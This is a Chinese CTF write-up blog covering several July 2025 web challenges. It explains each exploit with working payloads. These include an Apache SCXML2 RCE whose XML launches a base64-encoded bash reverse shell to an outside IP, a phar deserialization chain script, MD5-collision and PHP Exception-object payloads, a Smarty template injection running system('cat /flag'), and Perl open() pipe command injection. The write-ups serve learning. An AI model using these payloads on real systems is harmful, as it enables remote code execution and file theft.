2025-7月每日一题



7月22日:[HDCTF 2023]BabyJxVx

考点:Apache SCXML2 RCE漏洞

将附件作为库导入,看到源码,看到关键Flagcontroller类

image-20250722111224028
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.babyjxvx.FlagController;

import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

@Controller
public class Flagcontroller {
    private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = dbf.newDocumentBuilder();
        Document doc = builder.parse(fileName);
        int node1 = doc.getElementsByTagName("script").getLength();
        int node2 = doc.getElementsByTagName("datamodel").getLength();
        int node3 = doc.getElementsByTagName("invoke").getLength();
        int node4 = doc.getElementsByTagName("param").getLength();
        int node5 = doc.getElementsByTagName("parallel").getLength();
        int node6 = doc.getElementsByTagName("history").getLength();
        int node7 = doc.getElementsByTagName("transition").getLength();
        int node8 = doc.getElementsByTagName("state").getLength();
        int node9 = doc.getElementsByTagName("onentry").getLength();
        int node10 = doc.getElementsByTagName("if").getLength();
        int node11 = doc.getElementsByTagName("elseif").getLength();
        return node1 <= 0 && node2 <= 0 && node3 <= 0 && node4 <= 0 && node5 <= 0 && node6 <= 0 && node7 <= 0 && node8 <= 0 && node9 <= 0 && node10 <= 0 && node11 <= 0 ? true : false;
    }

    @RequestMapping({"/"})
    public String index() {
        return "index";
    }

    @RequestMapping({"/Flag"})
    @ResponseBody
    public String Flag(@RequestParam(required = true) String filename) {
        SCXMLExecutor executor = new SCXMLExecutor();

        try {
            if (check(filename)) {
                SCXML scxml = SCXMLReader.read(filename);
                executor.setStateMachine(scxml);
                executor.go();
                return "Revenge to me!";
            }

            System.out.println("nonono");
        } catch (Exception var5) {
            System.out.println(var5);
        }

        return "revenge?";
    }
}

考点就是在/Flag路由下接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml,网上搜搜得到Apache SCXML2 RCE漏洞

[Apache SCXML2 RCE分析 - Boogiepop Doesn’t Laugh](https://boogipop.com/2023/04/24/Apache SCXML2 RCE分析/)

写一个xml文件在root文件下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAwLjM5LjE5My81MDAwIDA+JjE=}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>



<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> :定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。
<final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run。
<onexit>:定义了一个事件,在退出状态时触发
<assing........> : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。

然后开一个在root目录下开一个python服务器

1
python3 -m http.server 8090

接着就是反弹shell了。(这是开 Python 服务器的原因:让目标服务器能通过 HTTP 协议下载你的恶意 XML 文件。

image-20250722122308032

image-20250722121831573

参考_[hdctf 2023]welcome to hdctf 2023-CSDN博客

Apache SCXML2 RCE漏洞-CSDN博客

7-23日[NSSCTF 2022 Spring Recruit]babyphp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?> 

这个太基础了,不多说(记得在bp发包)

1
a[]=1&b1[]=1&b2[]=2&c1=fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%21%A0I%28%7E%FC7%A9%23%0F%D6%8A%AE%0BH%27%9A%B4%1F%EB%08%16%0FW+%F2%40%2A%D1.%0C%CD6%E2%CD%FD%CA%D3%27%1Fg%28LB%06%22%A6.%8F%28%AB%19%0A%7D%9F%0E3Ar%87%DC%1Ew%D9P%C7%05%AF%96%00%88%06%7B%0A%17s%ABL%C9%0C%9C%11%19%D3%F78%E1%1C%C1%3B%16%C9%D1hy2%C1%91%9F%DE%5DN%92%26%81M%C0%CF%C2%FAg%E4%A5%CE%60%D7%7E%D0%8B%D7WXbu%B4%0A%99%D1&c2=fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%21%A0I%28%7E%FC7%A9%23%0F%D6%8A%AE%0BH%27%9A%B4%1Fk%08%16%0FW+%F2%40%2A%D1.%0C%CD6%E2%CD%FD%CA%D3%27%1Fg%28LB%06%A2%A6.%8F%28%AB%19%0A%7D%9F%0E3Ar%07%DC%1Ew%D9P%C7%05%AF%96%00%88%06%7B%0A%17s%ABL%C9%0C%9C%11%19S%F78%E1%1C%C1%3B%16%C9%D1hy2%C1%91%9F%DE%5DN%92%26%81M%C0%CF%C2zg%E4%A5%CE%60%D7%7E%D0%8B%D7WXb%F5%B4%0A%99%D1
image-20250723103003452

7-24日[CISCN 2019华北Day1]Web1-phar反序列化+代码审计能力

上传一个jpg下载抓包发现可以看到jpg的内容

image-20250724110010821

发现/etc/passwd可以读取,那么我们就可以在这里读取源码

image-20250724110052427

然后就拿dirsearch的字典来fuzz,看看有哪些代码可以读到。(字典不够硬,download.php没扫到。)

image-20250724112623779

主要看看class.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");//加盐哈希存储
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {//验证用户登录
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {//关闭数据库连接
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();//将方法名存入 $this->funcs,结果存入 $this->results。(后面分析讲到这里的使用:就是先将方法名存储`$this->funcs`数组里,然后依次调用`$this->files`数组里的元素的close()方法,然后存储在`$this->results[$file->name()][$func]`)
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {//这里先输出$this->funcs里的元素的值
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {//输出$this->results数组里的数组元素的键值对
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {//检查文件是否存在且不是目录。

            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }	//`delete.php`调用了,可疑触发phar反序列化

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

delete.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();//可触发phar反序列化
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

download.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();//可触发phar反序列化
} else {
    echo "File not exist";
}
?>

login.php``register.php``upload.php这些没啥用,就不看了。

代码审计

这题一眼打phar反序列化,触发反序列化的函数download.phpdelete.php都有,所以是在哪触发呢??往下看

审计class.php发现这题并没有可以rce的地方,但是发现如果我们在__call中调用close(其``file_get_contents可以读文件),然后通过那个for循环,就可以将文件内容结果存入 $this->results。然后在FileList->__destruct()中就可以显示出来(内容就在$result as $func => $value$value`里).

所以链子显而易见。

1
2
3
4
5
6
7
8
9
User->__destruct() {
    $this->db->close(); // 调用 FileList->close()
}

FileList->close() 不存在  触发 FileList->__call('close', [])

FileList->__call() 遍历 $files,调用 File->close()读取 /flag.txt

FileList->__destruct() 输出表格(包含 flag) //User->__destruct()开始的链执行完毕,FileList 对象不再被任何变量引用,所以FileList 被销毁,从而触发 FileList->__destruct()

exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class User {
    public $db;
    
}

class File {
        public $filename;
        public function __construct() {
            $this->$filename=$filename;
        }    
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct() {
        $this->files= array();
        $file = new File('/flag.txt');//flag在/flag.txt是猜出来的
        array_push($this->files, $file);
}
}

$a=new User();
$a->db=new FileList();

$phar = new Phar("1.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();

前面我们说到触发反序列化的地方在download.phpdelete.php,但是发现download.php中有ini_set("open_basedir", getcwd() . ":/etc:/tmp");限制不能读取根目录文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
open_basedir 将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()等系统函数打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

如果设置为
ini_set(“open_basedir”,/var)
那么就是限制前缀,可以使用任意后缀 /var1 /var/www /varsda//

如果是
ini_set(“open_basedir”,/var/)
那么就是限制了目录,只能使用此目录的文件: /var/www/
    
    
本题是只允许读取/etc 下的文件(如 /etc/passwd),/tmp 下的文件。

所以最后的触发点是delete.php

总结:此题挺吃代码审计能力的。

7-25日[极客大挑战 2020]greatphp

考点:利用hash与eval会触发Exception中__toString魔术绕过hash比较并且rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

这题本来一眼数组绕hash,但是eval不能执行数组,那怎么绕过??利用这个原生类Exception或Error绕。(Exception或Error只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。然后md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。),看看当触发他的 __toString 方法时会发生什么,输出如下:

image-20250725162922685

好,接下来解决题目,$a$b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的(所以hash加密后相同)。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。下面写了测试代码,便于理解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
$paylaod='?><?= include $_GET[_]; ?>';
$a = new Exception("$paylaod",1);$b = new Exception("$paylaod",2);//Error类与此类似
echo $a;
echo "\r\n==================================\r\n";

echo $b;
echo "\r\n==================================\r\n";

if($a!=$b){
    echo "NO"."\n";
}
if(md5($a)===md5($b)){
    echo "YES"."\n";
}

echo md5($a)."\n";
echo md5($b)."\n";

?>
image-20250725162531143

看着测试代码发现__toString 方法返回的结果都相等(由于都在同一行,所以行数都是3,所以不能换行,否则输出不等)

然后看<?= include $_GET[_]; ?>'0前为何有?>,看上面测试代码结果就知道前面有个冗余字符Exception,所以用?>闭合它即可。

最终代码是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php

class SYCLOVER {
    public $syc;
    public $lover;
}

$payload = '?><?= include $_GET[_]; ?>';
$a=new Exception($payload,1);$b=new Exception($payload,2);

$s = new SYCLOVER();
$s->syc = $a;
$s->lover = $b;
echo serialize($s)."\n";
echo urlencode(serialize($s))."\n";
1
?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A26%3A%22%3F%3E%3C%3F%3D+include+%24_GET%5B_%5D%3B+%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A33%3A%22D%3A%5C1%5C%E4%BB%A3%E7%A0%81%E9%9B%86%E5%90%88%5Ccursor%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A9%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A26%3A%22%3F%3E%3C%3F%3D+include+%24_GET%5B_%5D%3B+%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A33%3A%22D%3A%5C1%5C%E4%BB%A3%E7%A0%81%E9%9B%86%E5%90%88%5Ccursor%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A9%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D%7D&_=/flag

参考[PHP 原生类的利用小结-先知社区](https://xz.aliyun.com/news/8792#:~:text=Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。 类摘要: 类属性: 类方法:,我们可以看到,在Error和Exception这两个PHP原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。 我们以Error为例,我们看看当触发他的 __toString 方法时会发生什么: 输出如下:)

7-26[NISACTF 2022]midlevel-Smarty模板注入

打开题目发现是php环境,还是用Smarty构建,题目还提到X-Forwarded-For,说明是在这打Smarty模板注入(ssti)

image-20250726102946760

尝试一下果然

image-20250726103123947

直接打命令{system('cat /flag')}就行了。

image-20250726103408165

PHP的模板注入(Smarty模板)_smarty模板注入-CSDN博客

7月27-[NSSCTF 2022 Spring Recruit]easy Python

考点:base64的python实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import string  # 导入string模块,用于获取字母和数字字符

def encode(string, string2):
    tmp_str = str()  # 初始化一个空字符串,用于存储二进制数据
    ret = str()  # 初始化一个空字符串,用于存储编码结果
    bit_string_str = string.encode()  # 将输入字符串编码为字节对象
    remain = len(string) % 3  # 计算输入字符串长度除以3的余数,用于处理填充
    remain_str = str()  # 初始化一个空字符串,用于存储剩余的二进制数据

    # 将每个字节转换为8位二进制字符串,并补齐前导零
    for char in bit_string_str:
        b_char = (bin(char)[2:])  # 获取字符的二进制表示(去掉'0b'前缀)
        b_char = '0' * (8 - len(b_char)) + b_char  # 补齐8位
        tmp_str += b_char  # 将8位二进制字符串添加到tmp_str中

    # 每6位一组进行编码
    for i in range(len(tmp_str) // 6):
        temp_nub = int(tmp_str[i * 6:6 * (i + 1)], 2)  # 将6位二进制转换为整数
        ret += string2[temp_nub]  # 根据整数索引从string2中获取对应字符

    # 处理剩余位数(填充)
    if remain == 2:
        remain_str = tmp_str[-4:] + '0' * 2  # 剩余4位补2个0,凑成6位
        temp_nub = int(remain_str, 2)  # 转换为整数
        ret += string2[temp_nub] + "="  # 添加编码字符和1个填充符
    elif remain == 1:
        remain_str = tmp_str[-2:] + '0' * 4  # 剩余2位补4个0,凑成6位
        temp_nub = int(remain_str, 2)  # 转换为整数
        ret += string2[temp_nub] + "=" * 2  # 添加编码字符和2个填充符

    return ret.replace("=", "")  # 返回编码结果(去掉填充符"=")

# 定义编码字符集:大写字母 + 小写字母 + 数字 + '+' + '/'
custom_alphabet = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'

# 获取用户输入并编码
res = encode(input(), custom_alphabet)

# 检查编码结果是否等于目标字符串
if res == "TlNTQ1RGe2Jhc2U2NCEhfQ":
    print("good!")  # 匹配成功
else:
    print("bad!")  # 匹配失败

直接厨子base64解码TlNTQ1RGe2Jhc2U2NCEhfQNSSCTF{base64!!}就行

7-28日[CSAWQual 2016]I_Got_ID

考点:perl网页文件+ARGV上传造成任意文件读取与命令执行(命令执行利用 了Perl open() 函数的管道特性

image-20250728103712407

抓包发现都是.pl文件,然后两个文件上传文件分别上传发现内容全部打印出来了(php代码没有)

image-20250728103837680 image-20250728103946954

猜想后台应该用了param()函数param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。

将上传的文件类型及文件内容处复制再粘贴一行,将filename去掉,然后内容填入ARGV,然后盲猜flag文件,读取试试

image-20250728110327100

当然有更加规范的方法

ls%20-l%20.%20|(即执行ls -l . |命令)查看当前文件(通过管道的方式,执行任意命令,然后将其输出结果用管道传输到读入流中,原理是:利用Perl Open()函数可以用于打开管道, 用户可以使用”|”作为分隔符,因为Perl会寻找”|”来表示Open()正在打开一个管道,我们可以劫持Open()调用,从而执行系统命令

image-20250728112705434

./file.pl(查看源码)

image-20250728112810110
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
use strict;  # 启用严格模式,要求变量必须先声明后使用,避免使用全局变量等
use warnings;  # 启用警告模式,会在运行时检查代码中可能存在的问题并发出警告
use CGI;  # 导入CGI模块,用于处理Web表单上传等操作
my $cgi = CGI->new;  # 创建一个CGI对象,用于处理客户端的请求
if ( $cgi->upload( 'file' ) ) {  # 检查是否有名为'file'的文件上传字段
    my $file = $cgi->param( 'file' );  # 获取上传文件的句柄
    while ( <$file> ) {  # 逐行读取上传文件的内容
        print "$_";  # 将文件的每一行内容打印到标准输出
    }
}

ls%20-l%20/%20|(即ls -l / |)(读根目录)

image-20250728113033047

最后cat%20/flag%20|读flag就行。(反正就是要主要空格要编码,命令后要管道符

详细原理请看:perl网页文件+ARGV上传造成任意文件读取(xctf-i-got-id-200) - 《学习笔记》 - 极客文档

攻防世界-web-i-got-id-200(perl文件上传+ARGV造成任意文件读取和任意命令执行) - zhengna - 博客园

我简单总结一下此题

1
Perl 通过 ARGV 文件句柄读取其内容作为文件路径,而URL 路径参数会被解析到 @ARGV 数组,然后就可以在参数位置读取文件或结合open() 管道机制执行命令。
谢谢观看